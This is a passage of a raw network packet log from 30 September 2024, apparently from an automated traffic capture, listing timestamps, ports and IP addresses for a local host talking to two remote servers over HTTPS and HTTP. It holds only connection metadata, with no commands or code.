Sep 30, 2024 12:22:22.606658936 CEST	443	52533	149.154.167.99	192.168.2.4
Sep 30, 2024 12:22:22.606679916 CEST	443	52533	149.154.167.99	192.168.2.4
Sep 30, 2024 12:22:22.606709957 CEST	52533	443	192.168.2.4	149.154.167.99
Sep 30, 2024 12:22:22.606730938 CEST	443	52533	149.154.167.99	192.168.2.4
Sep 30, 2024 12:22:22.606745958 CEST	52533	443	192.168.2.4	149.154.167.99
Sep 30, 2024 12:22:22.606748104 CEST	443	52533	149.154.167.99	192.168.2.4
Sep 30, 2024 12:22:22.606817007 CEST	52533	443	192.168.2.4	149.154.167.99
Sep 30, 2024 12:22:22.634937048 CEST	52533	443	192.168.2.4	149.154.167.99
Sep 30, 2024 12:22:22.634951115 CEST	443	52533	149.154.167.99	192.168.2.4
Sep 30, 2024 12:22:22.718575001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:22.723491907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:22.723609924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:22.732340097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:22.737180948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:23.629369974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:23.629456997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:23.636784077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:23.641772032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:24.177369118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:24.177455902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:24.178776026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:24.183737040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:24.723959923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:24.723977089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:24.724069118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:24.725373030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:24.730182886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:25.259346962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:25.259371042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:25.259392977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:25.259409904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:25.259423018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:25.259438992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:25.259450912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:25.259454966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:25.259454966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:25.259516001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:25.259516001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:25.346431017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:25.346529007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:25.419532061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:25.424459934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:25.960916996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:25.961018085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.066260099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.066261053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.071376085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.071403980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.071417093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.071446896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.071460009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.071479082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.071505070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.071517944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.704577923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.704767942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.707058907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.711925030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.889554977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.889585972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.889605999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.889652967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.889653921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.889653921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.895239115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.895286083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.895297050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.895314932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.895342112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.895364046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.901696920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.901729107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.901757002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.901767015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.901778936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.901810884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.908020020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.908056021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.908082962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.908093929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.908096075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.908137083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.914239883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.914269924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.914295912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.914308071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.914397001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.920557976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.920592070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.920619965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.920628071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.920631886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.920671940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.926786900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.926819086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.926853895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.926851988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.926906109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.926906109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.933202982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.933264017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.933290958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.933293104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.933342934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.933387995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.939610958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.939641953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.939712048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.939786911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.976303101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.976391077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.976425886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.976437092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.976464987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.976478100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.976478100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.976501942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.976524115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.976542950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.976545095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.976596117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.982273102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.982338905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.982342005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.982369900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.982400894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.982405901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.982425928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.982456923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.982894897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.982924938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.982964993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.982964993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.988538027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.988632917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.988903999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.988938093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.988956928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.988976955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.988993883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.989025116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.995368004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.995418072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.995433092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.995513916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:26.995529890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:26.995562077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.001564980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.001595974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.001625061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.001631021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.001638889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.001679897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.008069992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.008105993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.008132935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.008145094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.008173943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.008189917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.014280081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.014311075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.014348030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.014362097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.014394999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.014411926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.020354986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.020386934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.020423889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.020423889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.020459890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.020459890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.026776075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.026839018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.026840925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.026868105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.026879072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.026987076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.032763958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.032793999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.032820940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.032829046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.032835960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.032867908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.038134098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.038172960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.038199902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.038209915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.038269043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.038269043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.043210983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.043248892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.043284893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.043301105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.043349981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.043349981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.048178911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.048242092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.048244953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.048259974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.048284054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.048297882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.053142071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.053174973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.053220987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.055406094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.063270092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.063302040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.063319921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.063335896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.063363075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.063390017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.064157963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.064205885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.064235926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.064254999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.064270973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.064292908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.070384026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.070463896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.070465088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.070477009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.070499897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.070511103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.073654890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.073724031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.073729992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.073745012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.073771000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.073788881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.075370073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.075417995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.075433016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.075434923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.075480938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.078123093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.078140974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.078160048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.078182936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.078224897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.080662012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.080679893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.080696106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.080720901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.080737114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.083518982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.083535910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.083579063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.083609104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.083647013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.086352110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.086369038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.086388111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.086522102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.088771105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.088793039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.088835001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.088838100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.088860989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.088897943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.091924906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.091943026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.091960907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.091983080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.092000008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.092005968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.094315052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.094332933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.094347954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.094369888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.094393015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.097207069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.097224951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.097239971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.097265005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.097285986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.099858046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.099915028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.099915981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.099931955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.099955082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.099972010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.102309942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.102339983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.102360010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.102375031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.102401018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.102441072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.105180979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.105197906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.105215073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.105235100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.105257988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.107963085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.107979059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.107995987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.108016014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.108032942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.108040094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.110862970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.110898972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.110913038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.110928059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.110945940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.110956907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.113542080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.113573074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.113604069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.113742113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.116143942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.116158962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.116199017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.116213083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.116213083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.116240978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.116249084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.116276979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.119559050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.119575024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.119627953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.119632006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.119669914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.124933004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.124949932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.124964952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.124993086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.125019073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.130045891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.130080938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.130096912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.130103111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.130114079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.130120993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.130134106 CEST	52534	80	192.168.2.4	5.42.101.62
